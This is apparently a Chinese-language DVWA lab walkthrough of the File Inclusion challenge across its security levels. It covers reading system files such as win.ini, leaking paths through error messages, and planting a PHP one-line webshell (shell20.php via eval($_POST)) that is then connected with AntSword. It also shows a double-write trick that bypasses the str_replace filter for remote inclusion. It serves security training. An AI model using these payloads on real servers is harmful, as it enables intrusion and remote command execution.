第4关:File Inclusion(文件包含)
1.什么是文件包含?
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。
File Inclusion,文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
require():可以包含文件,如果包含错了,直接报错并退出程序的执行
include():在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require_once():与require类似,区别在于当重复调用同一文件时,程序只调用一次
include_once():与include类似,区别在于当重复调用同一文件时,程序只调用一次
类型:
本地文件包含漏洞与远程文件包含漏洞。
远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
low
有三个php文件
我们分别点击,观察到,我们点击哪个文件,url中的page=接着就是我们点击的文件名,然后显示文件的相应内容,所以这page=后面就是参数,即包含的文件
Windows系统都有一个系统文件win.ini在c盘,我们尝试读取一下。
读取成功
但是,在现实中,刚开始我们是不知道服务器的系统的。我们可以尝试包含一个不存在的文件
,比如666.txt,就会出现如下报错,这一报错暴露出服务器是Windows系统,还知道了服务器的根目录
我们在dvwa文件夹下,创建一个test.txt文件,写入hello world
然后我们用相对路径,包含该txt文件,读取出来
注:服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
我们常常结合文件上传漏洞,上传一句话木马文件,这里模拟已经上传了txt文件
<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[123]);?>')?>
把上面的test.txt文件修改,写入一句话木马
然后包含我们的test.txt文件,返回是空的,但是一句话木马已经被执行,生成了后门shell20.php
用中国蚁剑连接
medium
可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 "../", "..\""替换为空字符,即删除。但是实际上,使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
例如:page=hthttp://tp://192.168.67.143/phpinfo.txt时,str_replace函 数会将http://删除,于是就变成了:page=http://192.168.5.12/phpinfo.txt, 成功执行远程命令
因为替换的只是../ 或者 ..\\
,所以对采用绝对路径的方式包含文件是不会受到任何限制的
如果我们采用相对路径,同理也可以双写绕过
high
看下核心源码:这里使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件
file协议:本地文件传输协议)主要用于访问本地计算机中的文件。基本格式为:file:///文件绝对路径。
由于file协议只支持本地文件读取,不支持远程文件执行,就没办法执行远程文件
impossible
给出最简单粗暴的防御办法是直接使用出白名单